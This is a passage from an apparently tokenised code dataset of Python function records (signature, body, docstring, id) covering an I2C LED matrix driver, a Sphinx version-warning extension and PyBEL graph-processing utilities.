pixel color (yellow is both red and green both on)\n@param suppress_write: if true, just sets the internal data structure, else writes out the pixel to the display", "id": "f9322:c0:m4"}
{"signature": "def set_bit_map(self, shape, color):", "body": "for row in range(<NUM_LIT:0>, <NUM_LIT:8>):<EOL><INDENT>data = shape[row]<EOL>bit_mask = <NUM_LIT><EOL>for column in range(<NUM_LIT:0>, <NUM_LIT:8>):<EOL><INDENT>if data & bit_mask:<EOL><INDENT>self.set_pixel(row, column, color, True)<EOL><DEDENT>bit_mask >>= <NUM_LIT:1><EOL><DEDENT><DEDENT>self.output_entire_buffer()<EOL>", "docstring": "Populate the bit map with the supplied \"shape\" and color\nand then write the entire bitmap to the display\n@param shape: pattern to display\n@param color: color for the pattern", "id": "f9322:c0:m5"}
{"signature": "def output_entire_buffer(self):", "body": "green = <NUM_LIT:0><EOL>red = <NUM_LIT:0><EOL>for row in range(<NUM_LIT:0>, <NUM_LIT:8>):<EOL><INDENT>for col in range(<NUM_LIT:0>, <NUM_LIT:8>):<EOL><INDENT>if self.display_buffer[row][col] == self.LED_GREEN:<EOL><INDENT>green |= <NUM_LIT:1> << col<EOL><DEDENT>elif self.display_buffer[row][col] == self.LED_RED:<EOL><INDENT>red |= <NUM_LIT:1> << col<EOL><DEDENT>elif self.display_buffer[row][col] == self.LED_YELLOW:<EOL><INDENT>green |= <NUM_LIT:1> << col<EOL>red |= <NUM_LIT:1> << col<EOL><DEDENT>elif self.display_buffer[row][col] == self.LED_OFF:<EOL><INDENT>green &= ~(<NUM_LIT:1> << col)<EOL>red &= ~(<NUM_LIT:1> << col)<EOL><DEDENT><DEDENT>self.firmata.i2c_write(<NUM_LIT>, row * <NUM_LIT:2>, <NUM_LIT:0>, green)<EOL>self.firmata.i2c_write(<NUM_LIT>, row * <NUM_LIT:2> + <NUM_LIT:1>, <NUM_LIT:0>, red)<EOL><DEDENT>", "docstring": "Write the entire buffer to the display", "id": "f9322:c0:m6"}
{"signature": "def clear_display_buffer(self):", "body": "for row in range(<NUM_LIT:0>, <NUM_LIT:8>):<EOL><INDENT>self.firmata.i2c_write(<NUM_LIT>, row * <NUM_LIT:2>, <NUM_LIT:0>, <NUM_LIT:0>)<EOL>self.firmata.i2c_write(<NUM_LIT>, (row * <NUM_LIT:2>) + <NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:0>)<EOL>for column in range(<NUM_LIT:0>, <NUM_LIT:8>):<EOL><INDENT>self.display_buffer[row][column] = <NUM_LIT:0><EOL><DEDENT><DEDENT>", "docstring": "Set all led's to off.", "id": "f9322:c0:m7"}
{"signature": "def close(self):", "body": "self.firmata.close()<EOL>", "docstring": "close the interface down cleanly", "id": "f9322:c0:m8"}
{"signature": "def generate_versionwarning_data_json(app, config=None, **kwargs):", "body": "<EOL>config = config or kwargs.pop('<STR_LIT>', None)<EOL>if config is None:<EOL><INDENT>config = app.config<EOL><DEDENT>if config.versionwarning_project_version in config.versionwarning_messages:<EOL><INDENT>custom = True<EOL>message = config.versionwarning_messages.get(config.versionwarning_project_version)<EOL><DEDENT>else:<EOL><INDENT>custom = False<EOL>message = config.versionwarning_default_message<EOL><DEDENT>banner_html = config.versionwarning_banner_html.format(<EOL>id_div=config.versionwarning_banner_id_div,<EOL>banner_title=config.versionwarning_banner_title,<EOL>message=message.format(<EOL>**{config.versionwarning_message_placeholder: '<STR_LIT>'},<EOL>),<EOL>admonition_type=config.versionwarning_admonition_type,<EOL>)<EOL>data = json.dumps({<EOL>'<STR_LIT>': {<EOL>'<STR_LIT>': config.versionwarning_api_url,<EOL>},<EOL>'<STR_LIT>': {<EOL>'<STR_LIT:html>': banner_html,<EOL>'<STR_LIT>': config.versionwarning_banner_id_div,<EOL>'<STR_LIT>': config.versionwarning_body_selector,<EOL>'<STR_LIT>': custom,<EOL>},<EOL>'<STR_LIT>': {<EOL>'<STR_LIT>': config.versionwarning_project_slug,<EOL>},<EOL>'<STR_LIT:version>': {<EOL>'<STR_LIT>': config.versionwarning_project_version,<EOL>},<EOL>}, indent=<NUM_LIT:4>)<EOL>data_path = os.path.join(STATIC_PATH, '<STR_LIT:data>')<EOL>if not os.path.exists(data_path):<EOL><INDENT>os.mkdir(data_path)<EOL><DEDENT>with open(os.path.join(data_path, JSON_DATA_FILENAME), '<STR_LIT:w>') as f:<EOL><INDENT>f.write(data)<EOL><DEDENT>config.html_static_path.append(STATIC_PATH)<EOL>", "docstring": "Generate the ``versionwarning-data.json`` file.\n\nThis file is included in the output and read by the AJAX request when\naccessing to the documentation and used to compare the live versions with\nthe curent one.\n\nBesides, this file contains meta data about the project, the API to use and\nthe banner itself.", "id": "f9334:m0"}
{"signature": "def tearDown(self):", "body": "del mapped['<STR_LIT>']<EOL>del mapped['<STR_LIT>']<EOL>", "docstring": "Remove definitions of the built functions", "id": "f9339:c0:m1"}
{"signature": "def make_graph_2() -> BELGraph:", "body": "graph = BELGraph(<EOL>name='<STR_LIT>',<EOL>version='<STR_LIT>',<EOL>description='<STR_LIT>',<EOL>authors='<STR_LIT>',<EOL>contact='<STR_LIT>',<EOL>)<EOL>graph.add_node_from_data(gene_f)<EOL>graph.add_node_from_data(protein_e)<EOL>graph.add_node_from_data(protein_b)<EOL>graph.add_increases(<EOL>protein_e,<EOL>protein_b,<EOL>citation='<STR_LIT:1>',<EOL>evidence='<STR_LIT>',<EOL>annotations={'<STR_LIT>': '<STR_LIT:foo>'},<EOL>)<EOL>graph.add_increases(<EOL>gene_f,<EOL>protein_e,<EOL>citation='<STR_LIT:2>',<EOL>evidence='<STR_LIT>',<EOL>annotations={'<STR_LIT>': '<STR_LIT>'}<EOL>)<EOL>return graph<EOL>", "docstring": "Make an example graph.", "id": "f9345:m1"}
{"signature": "def make_graph_3() -> BELGraph:", "body": "graph = BELGraph(<EOL>name='<STR_LIT>',<EOL>version='<STR_LIT>',<EOL>description='<STR_LIT>',<EOL>authors='<STR_LIT>',<EOL>contact='<STR_LIT>',<EOL>)<EOL>graph.add_increases(protein_a, protein_b, n(), n())<EOL>graph.add_decreases(protein_b, gene_c, n(), n())<EOL>graph.add_decreases(rna_d, gene_f, n(), n())<EOL>graph.add_increases(protein_e, gene_f, n(), n())<EOL>graph.add_increases(gene_f, gene_c, n(), n())<EOL>graph.add_association(gene_c, protein_g, n(), n())<EOL>return graph<EOL>", "docstring": "Make an example graph.\n\n    A -> B -| C\n    D -| F -> C\n    C -| F\n    C -- G", "id": "f9345:m2"}
{"signature": "def make_graph_4() -> BELGraph:", "body": "graph = BELGraph(<EOL>name='<STR_LIT>',<EOL>version='<STR_LIT>',<EOL>description='<STR_LIT>',<EOL>authors='<STR_LIT>',<EOL>contact='<STR_LIT>',<EOL>)<EOL>graph.add_increases(protein_a, protein_b, n(), n())<EOL>graph.add_decreases(protein_b, gene_c, n(), n())<EOL>graph.add_decreases(protein_b, rna_d, n(), n())<EOL>graph.add_decreases(protein_b, protein_e, n(), n())<EOL>graph.add_decreases(protein_b, gene_f, n(), n())<EOL>graph.add_increases(protein_b, protein_g, n(), n())<EOL>graph.add_decreases(protein_b, protein_h, n(), n())<EOL>graph.add_increases(protein_b, protein_h, n(), n())<EOL>graph.add_increases(protein_b, protein_i, n(), n())<EOL>graph.add_association(protein_b, protein_j, n(), n())<EOL>return graph<EOL>", "docstring": "Make an example graph.\n\n    A -> B\n    B -| C\n    B -| D\n    B -| E\n    B -| F\n    B -> G\n\n    B -> H\n    B -| H\n\n    B -> I\n    B -- J", "id": "f9345:m3"}
{"signature": "def flatten_list_abundance(node: ListAbundance) -> ListAbundance:", "body": "return node.__class__(list(chain.from_iterable(<EOL>(<EOL>flatten_list_abundance(member).members<EOL>if isinstance(member, ListAbundance) else<EOL>[member]<EOL>)<EOL>for member in node.members<EOL>)))<EOL>", "docstring": "Flattens the complex or composite abundance.", "id": "f9353:m0"}
{"signature": "def list_abundance_expansion(graph: BELGraph) -> None:", "body": "mapping = {<EOL>node: flatten_list_abundance(node)<EOL>for node in graph<EOL>if isinstance(node, ListAbundance)<EOL>}<EOL>relabel_nodes(graph, mapping, copy=False)<EOL>", "docstring": "Flatten list abundances.", "id": "f9353:m1"}
{"signature": "def list_abundance_cartesian_expansion(graph: BELGraph) -> None:", "body": "for u, v, k, d in list(graph.edges(keys=True, data=True)):<EOL><INDENT>if CITATION not in d:<EOL><INDENT>continue<EOL><DEDENT>if isinstance(u, ListAbundance) and isinstance(v, ListAbundance):<EOL><INDENT>for u_member, v_member in itt.product(u.members, v.members):<EOL><INDENT>graph.add_qualified_edge(<EOL>u_member, v_member,<EOL>relation=d[RELATION],<EOL>citation=d.get(CITATION),<EOL>evidence=d.get(EVIDENCE),<EOL>annotations=d.get(ANNOTATIONS),<EOL>)<EOL><DEDENT><DEDENT>elif isinstance(u, ListAbundance):<EOL><INDENT>for member in u.members:<EOL><INDENT>graph.add_qualified_edge(<EOL>member, v,<EOL>relation=d[RELATION],<EOL>citation=d.get(CITATION),<EOL>evidence=d.get(EVIDENCE),<EOL>annotations=d.get(ANNOTATIONS),<EOL>)<EOL><DEDENT><DEDENT>elif isinstance(v, ListAbundance):<EOL><INDENT>for member in v.members:<EOL><INDENT>graph.add_qualified_edge(<EOL>u, member,<EOL>relation=d[RELATION],<EOL>citation=d.get(CITATION),<EOL>evidence=d.get(EVIDENCE),<EOL>annotations=d.get(ANNOTATIONS),<EOL>)<EOL><DEDENT><DEDENT><DEDENT>_remove_list_abundance_nodes(graph)<EOL>", "docstring": "Expand all list abundances to simple subject-predicate-object networks.", "id": "f9353:m2"}
{"signature": "def _reaction_cartesion_expansion_unqualified_helper(<EOL>graph: BELGraph,<EOL>u: BaseEntity,<EOL>v: BaseEntity,<EOL>d: dict,<EOL>) -> None:", "body": "if isinstance(u, Reaction) and isinstance(v, Reaction):<EOL><INDENT>enzymes = _get_catalysts_in_reaction(u) | _get_catalysts_in_reaction(v)<EOL>for reactant, product in chain(itt.product(u.reactants, u.products),<EOL>itt.product(v.reactants, v.products)):<EOL><INDENT>if reactant in enzymes or product in enzymes:<EOL><INDENT>continue<EOL><DEDENT>graph.add_unqualified_edge(<EOL>reactant, product, INCREASES<EOL>)<EOL><DEDENT>for product, reactant in itt.product(u.products, u.reactants):<EOL><INDENT>if reactant in enzymes or product in enzymes:<EOL><INDENT>continue<EOL><DEDENT>graph.add_unqualified_edge(<EOL>product, reactant, d[RELATION],<EOL>)<EOL><DEDENT><DEDENT>elif isinstance(u, Reaction):<EOL><INDENT>enzymes = _get_catalysts_in_reaction(u)<EOL>for product in u.products:<EOL><INDENT>if product in enzymes:<EOL><INDENT>continue<EOL><DEDENT>if v not in u.products and v not in u.reactants:<EOL><INDENT>graph.add_unqualified_edge(<EOL>product, v, INCREASES<EOL>)<EOL><DEDENT>for reactant in u.reactants:<EOL><INDENT>graph.add_unqualified_edge(<EOL>reactant, product, INCREASES<EOL>)<EOL><DEDENT><DEDENT><DEDENT>elif isinstance(v, Reaction):<EOL><INDENT>enzymes = _get_catalysts_in_reaction(v)<EOL>for reactant in v.reactants:<EOL><INDENT>if reactant in enzymes:<EOL><INDENT>continue<EOL><DEDENT>if u not in v.products and u not in v.reactants:<EOL><INDENT>graph.add_unqualified_edge(<EOL>u, reactant, INCREASES<EOL>)<EOL><DEDENT>for product in v.products:<EOL><INDENT>graph.add_unqualified_edge(<EOL>reactant, product, INCREASES<EOL>)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Helper to deal with cartension expansion in unqualified edges.", "id": "f9353:m3"}
{"signature": "def _get_catalysts_in_reaction(reaction: Reaction) -> Set[BaseAbundance]:", "body": "return {<EOL>reactant<EOL>for reactant in reaction.reactants<EOL>if reactant in reaction.products<EOL>}<EOL>", "docstring": "Return nodes that are both in reactants and reactions in a reaction.", "id": "f9353:m4"}
{"signature": "def reaction_cartesian_expansion(graph: BELGraph, accept_unqualified_edges: bool = True) -> None:", "body": "for u, v, d in list(graph.edges(data=True)):<EOL><INDENT>if CITATION not in d and accept_unqualified_edges:<EOL><INDENT>_reaction_cartesion_expansion_unqualified_helper(graph, u, v, d)<EOL>continue<EOL><DEDENT>if isinstance(u, Reaction) and isinstance(v, Reaction):<EOL><INDENT>catalysts = _get_catalysts_in_reaction(u) | _get_catalysts_in_reaction(v)<EOL>for reactant, product in chain(itt.product(u.reactants, u.products), itt.product(v.reactants, v.products)):<EOL><INDENT>if reactant in catalysts or product in catalysts:<EOL><INDENT>continue<EOL><DEDENT>graph.add_increases(<EOL>reactant, product,<EOL>citation=d.get(CITATION),<EOL>evidence=d.get(EVIDENCE),<EOL>annotations=d.get(ANNOTATIONS),<EOL>)<EOL><DEDENT>for product, reactant in itt.product(u.products, u.reactants):<EOL><INDENT>if reactant in catalysts or product in catalysts:<EOL><INDENT>continue<EOL><DEDENT>graph.add_qualified_edge(<EOL>product, reactant,<EOL>relation=d[RELATION],<EOL>citation=d.get(CITATION),<EOL>evidence=d.get(EVIDENCE),<EOL>annotations=d.get(ANNOTATIONS),<EOL>)<EOL><DEDENT><DEDENT>elif isinstance(u, Reaction):<EOL><INDENT>catalysts = _get_catalysts_in_reaction(u)<EOL>for product in u.products:<EOL><INDENT>if product in catalysts:<EOL><INDENT>continue<EOL><DEDENT>if v not in u.products and v not in u.reactants:<EOL><INDENT>graph.add_increases(<EOL>product, v,<EOL>citation=d.get(CITATION),<EOL>evidence=d.get(EVIDENCE),<EOL>annotations=d.get(ANNOTATIONS),<EOL>)<EOL><DEDENT>for reactant in u.reactants:<EOL><INDENT>graph.add_increases(<EOL>reactant, product,<EOL>citation=d.get(CITATION),<EOL>evidence=d.get(EVIDENCE),<EOL>annotations=d.get(ANNOTATIONS),<EOL>)<EOL><DEDENT><DEDENT><DEDENT>elif isinstance(v, Reaction):<EOL><INDENT>for reactant in v.reactants:<EOL><INDENT>catalysts = _get_catalysts_in_reaction(v)<EOL>if reactant in catalysts:<EOL><INDENT>continue<EOL><DEDENT>if u not in v.products and u not in v.reactants:<EOL><INDENT>graph.add_increases(<EOL>u, reactant,<EOL>citation=d.get(CITATION),<EOL>evidence=d.get(EVIDENCE),<EOL>annotations=d.get(ANNOTATIONS),<EOL>)<EOL><DEDENT>for product in v.products:<EOL><INDENT>graph.add_increases(<EOL>reactant, product,<EOL>citation=d.get(CITATION),<EOL>evidence=d.get(EVIDENCE),<EOL>annotations=d.get(ANNOTATIONS),<EOL>)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>_remove_reaction_nodes(graph)<EOL>", "docstring": "Expand all reactions to simple subject-predicate-object networks.", "id": "f9353:m5"}
{"signature": "def remove_reified_nodes(graph: BELGraph) -> None:", "body": "_remove_list_abundance_nodes(graph)<EOL>_remove_reaction_nodes(graph)<EOL>", "docstring": "Remove complex nodes.", "id": "f9353:m6"}
{"signature": "def make_pubmed_abstract_group(pmids: Iterable[Union[str, int]]) -> Iterable[str]:", "body": "for pmid in set(pmids):<EOL><INDENT>yield '<STR_LIT>'<EOL>res = requests.get(title_url_fmt.format(pmid))<EOL>title = res.content.decode('<STR_LIT:utf-8>').strip()<EOL>yield '<STR_LIT>'.format(title, pmid)<EOL>res = requests.get(abstract_url_fmt.format(pmid))<EOL>abstract = res.content.decode('<STR_LIT:utf-8>').strip()<EOL>yield '<STR_LIT>'.format(abstract)<EOL>yield '<STR_LIT>'<EOL><DEDENT>", "docstring": "Build a skeleton for the citations' statements.\n\n    :param pmids: A list of PubMed identifiers\n    :return: An iterator over the lines of the citation section", "id": "f9354:m0"}
{"signature": "def get_entrez_gene_data(entrez_ids: Iterable[Union[str, int]]):", "body": "url = PUBMED_GENE_QUERY_URL.format('<STR_LIT:U+002C>'.join(str(x).strip() for x in entrez_ids))<EOL>response = requests.get(url)<EOL>tree = ElementTree.fromstring(response.content)<EOL>return {<EOL>element.attrib['<STR_LIT>']: {<EOL>'<STR_LIT>': _sanitize(element.find('<STR_LIT>').text),<EOL>'<STR_LIT:description>': element.find('<STR_LIT>').text<EOL>}<EOL>for element in tree.findall('<STR_LIT>')<EOL>}<EOL>", "docstring": "Get gene info from Entrez.", "id": "f9354:m2"}
{"signature": "def make_pubmed_gene_group(entrez_ids: Iterable[Union[str, int]]) -> Iterable[str]:", "body": "url = PUBMED_GENE_QUERY_URL.format('<STR_LIT:U+002C>'.join(str(x).strip() for x in entrez_ids))<EOL>response = requests.get(url)<EOL>tree = ElementTree.fromstring(response.content)<EOL>for x in tree.findall('<STR_LIT>'):<EOL><INDENT>yield '<STR_LIT>'.format(x.find('<STR_LIT>').text)<EOL>yield '<STR_LIT>'.format(x.attrib['<STR_LIT>'])<EOL>yield '<STR_LIT>'.format(x.find('<STR_LIT>').text.strip().replace('<STR_LIT:\\n>', '<STR_LIT>'))<EOL>yield '<STR_LIT>'<EOL><DEDENT>", "docstring": "Builds a skeleton for gene summaries\n\n    :param entrez_ids: A list of Entrez Gene identifiers to query the PubMed service\n    :return: An iterator over statement lines for NCBI Entrez Gene summaries", "id": "f9354:m3"}
{"signature": "def write_boilerplate(name: str,<EOL>version: Optional[str] = None,<EOL>description: Optional[str] = None,<EOL>authors: Optional[str] = None,<EOL>contact: Optional[str] = None,<EOL>copyright: Optional[str] = None,<EOL>licenses: Optional[str] = None,<EOL>disclaimer: Optional[str] = None,<EOL>namespace_url: Optional[Mapping[str, str]] = None,<EOL>namespace_patterns: Optional[Mapping[str, str]] = None,<EOL>annotation_url: Optional[Mapping[str, str]] = None,<EOL>annotation_patterns: Optional[Mapping[str, str]] = None,<EOL>annotation_list: Optional[Mapping[str, Set[str]]] = None,<EOL>pmids: Optional[Iterable[Union[str, int]]] = None,<EOL>entrez_ids: Optional[Iterable[Union[str, int]]] = None,<EOL>file: Optional[TextIO] = None,<EOL>) -> None:", "body": "lines = make_knowledge_header(<EOL>name=name,<EOL>version=version or '<STR_LIT>',<EOL>description=description,<EOL>authors=authors,<EOL>contact=contact,<EOL>copyright=copyright,<EOL>licenses=licenses,<EOL>disclaimer=disclaimer,<EOL>namespace_url=namespace_url,<EOL>namespace_patterns=namespace_patterns,<EOL>annotation_url=annotation_url,<EOL>annotation_patterns=annotation_patterns,<EOL>annotation_list=annotation_list,<EOL>)<EOL>for line in lines:<EOL><INDENT>print(line, file=file)<EOL><DEDENT>if pmids is not None:<EOL><INDENT>for line in make_pubmed_abstract_group(pmids):<EOL><INDENT>print(line, file=file)<EOL><DEDENT><DEDENT>if entrez_ids is not None:<EOL><INDENT>for line in make_pubmed_gene_group(entrez_ids):<EOL><INDENT>print(line, file=file)<EOL><DEDENT><DEDENT>", "docstring": "Write a boilerplate BEL document, with standard document metadata, definitions.\n\n    :param name: The unique name for this BEL document\n    :param contact: The email address of the maintainer\n    :param description: A description of the contents of this document\n    :param authors: The authors of this document\n    :param version: The version. Defaults to current date in format ``YYYYMMDD``.\n    :param copyright: Copyright information about this document\n    :param licenses: The license applied to this document\n    :param disclaimer: The disclaimer for this document\n    :param namespace_url: an optional dictionary of {str name: str URL} of namespaces\n    :param namespace_patterns: An optional dictionary of {str name: str regex} namespaces\n    :param annotation_url: An optional dictionary of {str name: str URL} of annotations\n    :param annotation_patterns: An optional dictionary of {str name: str regex} of regex annotations\n    :param annotation_list: An optional dictionary of {str name: set of names} of list annotations\n    :param pmids: A list of PubMed identifiers to auto-populate with citation and abstract\n    :param entrez_ids: A list of Entrez identifiers to autopopulate the gene summary as evidence\n    :param file: A writable file or file-like. If None, defaults to :data:`sys.stdout`", "id": "f9354:m4"}
{"signature": "def lint_file(in_file, out_file=None):", "body": "for line in in_file:<EOL><INDENT>print(line.strip(), file=out_file)<EOL><DEDENT>", "docstring": "Helps remove extraneous whitespace from the lines of a file\n\n    :param file in_file: A readable file or file-like\n    :param file out_file: A writable file or file-like", "id": "f9356:m0"}
{"signature": "def lint_directory(source, target):", "body": "for path in os.listdir(source):<EOL><INDENT>if not path.endswith('<STR_LIT>'):<EOL><INDENT>continue<EOL><DEDENT>log.info('<STR_LIT>', path)<EOL>with open(os.path.join(source, path)) as i, open(os.path.join(target, path), '<STR_LIT:w>') as o:<EOL><INDENT>lint_file(i, o)<EOL><DEDENT><DEDENT>", "docstring": "Adds a linted version of each document in the source directory to the target directory\n\n    :param str source: Path to directory to lint\n    :param str target: Path to directory to output", "id": "f9356:m1"}
{"signature": "def node_is_upstream_leaf(graph: BELGraph, node: BaseEntity) -> bool:", "body": "return <NUM_LIT:0> == len(graph.predecessors(node)) and <NUM_LIT:1> == len(graph.successors(node))<EOL>", "docstring": "Return if the node is an upstream leaf.\n\n    An upstream leaf is defined as a node that has no in-edges, and exactly 1 out-edge.", "id": "f9357:m0"}
{"signature": "def get_upstream_leaves(graph: BELGraph) -> Iterable[BaseEntity]:", "body": "return filter_nodes(graph, node_is_upstream_leaf)<EOL>", "docstring": "Iterate over all of the leaves of the graph (with no incoming edges and only one outgoing edge).\n\n    .. seealso:: :func:`upstream_leaf_predicate`", "id": "f9357:m1"}
{"signature": "def get_unweighted_upstream_leaves(graph: BELGraph, key: Optional[str] = None) -> Iterable[BaseEntity]:", "body": "if key is None:<EOL><INDENT>key = WEIGHT<EOL><DEDENT>return filter_nodes(graph, [node_is_upstream_leaf, data_missing_key_builder(key)])<EOL>", "docstring": "Get nodes with no incoming edges, one outgoing edge, and without the given key in its data dictionary.\n\n    .. seealso :: :func:`data_does_not_contain_key_builder`\n\n    :param graph: A BEL graph\n    :param key: The key in the node data dictionary representing the experimental data. Defaults to\n     :data:`pybel_tools.constants.WEIGHT`.\n    :return: An iterable over leaves (nodes with an in-degree of 0) that don't have the given annotation", "id": "f9357:m2"}
{"signature": "@in_place_transformation<EOL>def remove_unweighted_leaves(graph: BELGraph, key: Optional[str] = None) -> None:", "body": "unweighted_leaves = list(get_unweighted_upstream_leaves(graph, key=key))<EOL>graph.remove_nodes_from(unweighted_leaves)<EOL>", "docstring": "Remove nodes that are leaves and that don't have a weight (or other key) attribute set.\n\n    :param graph: A BEL graph\n    :param key: The key in the node data dictionary representing the experimental data. Defaults to\n     :data:`pybel_tools.constants.WEIGHT`.", "id": "f9357:m3"}
{"signature": "def is_unweighted_source(graph: BELGraph, node: BaseEntity, key: str) -> bool:", "body": "return graph.in_degree(node) == <NUM_LIT:0> and key not in graph.nodes[node]<EOL>", "docstring": "Check if the node is both a source and also has an annotation.\n\n    :param graph: A BEL graph\n    :param node: A BEL node\n    :param key: The key in the node data dictionary representing the experimental data", "id": "f9357:m4"}
{"signature": "def get_unweighted_sources(graph: BELGraph, key: Optional[str] = None) -> Iterable[BaseEntity]:", "body": "if key is None:<EOL><INDENT>key = WEIGHT<EOL><DEDENT>for node in graph:<EOL><INDENT>if is_unweighted_source(graph, node, key):<EOL><INDENT>yield node<EOL><DEDENT><DEDENT>", "docstring": "Get nodes on the periphery of the sub-graph that do not have a annotation for the given key.\n\n    :param graph: A BEL graph\n    :param key: The key in the node data dictionary representing the experimental data\n    :return: An iterator over BEL nodes that are unannotated and on the periphery of this subgraph", "id": "f9357:m5"}
{"signature": "@in_place_transformation<EOL>def remove_unweighted_sources(graph: BELGraph, key: Optional[str] = None) -> None:", "body": "nodes = list(get_unweighted_sources(graph, key=key))<EOL>graph.remove_nodes_from(nodes)<EOL>", "docstring": "Prune unannotated nodes on the periphery of the sub-graph.\n\n    :param graph: A BEL graph\n    :param key: The key in the node data dictionary representing the experimental data. Defaults to\n     :data:`pybel_tools.constants.WEIGHT`.", "id": "f9357:m6"}
{"signature": "@in_place_transformation<EOL>def prune_mechanism_by_data(graph, key: Optional[str] = None) -> None:", "body": "remove_unweighted_leaves(graph, key=key)<EOL>remove_unweighted_sources(graph, key=key)<EOL>", "docstring": "Remove all leaves and source nodes that don't have weights.\n\n    Is a thin wrapper around  :func:`remove_unweighted_leaves` and :func:`remove_unweighted_sources`\n\n    :param graph: A BEL graph\n    :param key: The key in the node data dictionary representing the experimental data. Defaults to\n     :data:`pybel_tools.constants.WEIGHT`.\n\n    Equivalent to:\n\n    >>> remove_unweighted_leaves(graph)\n    >>> remove_unweighted_sources(graph)", "id": "f9357:m7"}
{"signature": "@transformation<EOL>def generate_mechanism(graph: BELGraph, node: BaseEntity, key: Optional[str] = None) -> BELGraph:", "body": "subgraph = get_upstream_causal_subgraph(graph, node)<EOL>expand_upstream_causal(graph, subgraph)<EOL>remove_inconsistent_edges(subgraph)<EOL>collapse_consistent_edges(subgraph)<EOL>if key is not None:  <EOL><INDENT>prune_mechanism_by_data(subgraph, key)<EOL><DEDENT>return subgraph<EOL>", "docstring": "Generate a mechanistic sub-graph upstream of the given node.\n\n    :param graph: A BEL graph\n    :param node: A BEL node\n    :param key: The key in the node data dictionary representing the experimental data.\n    :return: A sub-graph grown around the target BEL node", "id": "f9357:m8"}
{"signature": "def generate_bioprocess_mechanisms(graph, key: Optional[str] = None) -> Mapping[BiologicalProcess, BELGraph]:", "body": "return {<EOL>biological_process: generate_mechanism(graph, biological_process, key=key)<EOL>for biological_process in get_nodes_by_function(graph, BIOPROCESS)<EOL>}<EOL>", "docstring": "Generate a mechanistic sub-graph for each biological process in the graph using :func:`generate_mechanism`.\n\n    :param graph: A BEL graph\n    :param key: The key in the node data dictionary representing the experimental data.", "id": "f9357:m9"}
{"signature": "def to_html(graph: BELGraph) -> str:", "body": "context = get_network_summary_dict(graph)<EOL>summary_dict = graph.summary_dict()<EOL>citation_years = context['<STR_LIT>']<EOL>function_count = context['<STR_LIT>']<EOL>relation_count = context['<STR_LIT>']<EOL>error_count = context['<STR_LIT>']<EOL>transformations_count = context['<STR_LIT>']<EOL>hub_data = context['<STR_LIT>']<EOL>disease_data = context['<STR_LIT>']<EOL>authors_count = context['<STR_LIT>']<EOL>variants_count = context['<STR_LIT>']<EOL>namespaces_count = context['<STR_LIT>']<EOL>confidence_count = context['<STR_LIT>']<EOL>confidence_data = [<EOL>(label, confidence_count.get(label, <NUM_LIT:0>))<EOL>for label in ('<STR_LIT:None>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>')<EOL>]<EOL>template = environment.get_template('<STR_LIT>')<EOL>return template.render(<EOL>graph=graph,<EOL>chart_1_data=prepare_c3(function_count, '<STR_LIT>'),<EOL>chart_6_data=prepare_c3(namespaces_count, '<STR_LIT>'),<EOL>chart_5_data=prepare_c3(variants_count, '<STR_LIT>'),<EOL>number_variants=sum(variants_count.values()),<EOL>number_namespaces=len(namespaces_count),<EOL>chart_2_data=prepare_c3(relation_count, '<STR_LIT>'),<EOL>chart_4_data=prepare_c3(transformations_count, '<STR_LIT>') if transformations_count else None,<EOL>number_transformations=sum(transformations_count.values()),<EOL>chart_3_data=prepare_c3(error_count, '<STR_LIT>') if error_count else None,<EOL>chart_7_data=prepare_c3(hub_data, '<STR_LIT>'),<EOL>chart_9_data=prepare_c3(disease_data, '<STR_LIT>') if disease_data else None,<EOL>chart_authors_count=prepare_c3(authors_count, '<STR_LIT>'),<EOL>chart_10_data=prepare_c3_time_series(citation_years, '<STR_LIT>') if citation_years else None,<EOL>chart_confidence_count=prepare_c3(confidence_data, '<STR_LIT>'),<EOL>summary_dict=summary_dict,<EOL>**context<EOL>)<EOL>", "docstring": "Render the graph as an HTML string.\n\n    Common usage may involve writing to a file like:\n\n    >>> from pybel.examples import sialic_acid_graph\n    >>> with open('html_output.html', 'w') as file:\n    ...     print(to_html(sialic_acid_graph), file=file)", "id": "f9359:m0"}
{"signature": "def get_network_summary_dict(graph: BELGraph) -> Mapping:", "body": "return dict(<EOL>function_count=count_functions(graph),<EOL>modifications_count=get_modifications_count(graph),<EOL>relation_count=count_relations(graph),<EOL>authors_count=count_authors(graph).most_common(<NUM_LIT:15>),<EOL>variants_count=count_variants(graph),<EOL>namespaces_count=count_namespaces(graph),<EOL>hub_data={<EOL>(<EOL>node.name or node.identifier<EOL>if NAME in node or IDENTIFIER in node else<EOL>str(node)<EOL>): degree<EOL>for node, degree in get_top_hubs(graph, n=<NUM_LIT:15>)<EOL>},<EOL>disease_data={<EOL>(<EOL>node.name or node.identifier<EOL>if NAME in node or IDENTIFIER in node else<EOL>str(node)<EOL>): count<EOL>for node, count in get_top_pathologies(graph, n=<NUM_LIT:15>)<EOL>},<EOL>regulatory_pairs=[<EOL>get_pair_tuple(u, v)<EOL>for u, v in get_regulatory_pairs(graph)<EOL>],<EOL>unstable_pairs=list(itt.chain(<EOL>(get_pair_tuple(u, v) + ('<STR_LIT>',) for u, v, in get_chaotic_pairs(graph)),<EOL>(get_pair_tuple(u, v) + ('<STR_LIT>',) for u, v, in get_dampened_pairs(graph)),<EOL>)),<EOL>contradictory_pairs=[<EOL>get_pair_tuple(u, v) + (relation,)<EOL>for u, v, relation in get_contradiction_summary(graph)<EOL>],<EOL>contradictory_triplets=list(itt.chain(<EOL>(get_triplet_tuple(a, b, c) + ('<STR_LIT>',) for a, b, c in<EOL>get_separate_unstable_correlation_triples(graph)),<EOL>(get_triplet_tuple(a, b, c) + ('<STR_LIT>',) for a, b, c in get_mutually_unstable_correlation_triples(graph)),<EOL>(get_triplet_tuple(a, b, c) + ('<STR_LIT>',) for a, b, c in get_jens_unstable(graph)),<EOL>(get_triplet_tuple(a, b, c) + ('<STR_LIT>',) for a, b, c in get_increase_mismatch_triplets(graph)),<EOL>(get_triplet_tuple(a, b, c) + ('<STR_LIT>',) for a, b, c in get_decrease_mismatch_triplets(graph)),<EOL>)),<EOL>unstable_triplets=list(itt.chain(<EOL>(get_triplet_tuple(a, b, c) + ('<STR_LIT>',) for a, b, c in get_chaotic_triplets(graph)),<EOL>(get_triplet_tuple(a, b, c) + ('<STR_LIT>',) for a, b, c in get_dampened_triplets(graph)),<EOL>)),<EOL>causal_pathologies=sorted({<EOL>get_pair_tuple(u, v) + (graph[u][v][k][RELATION],)<EOL>for u, v, k in 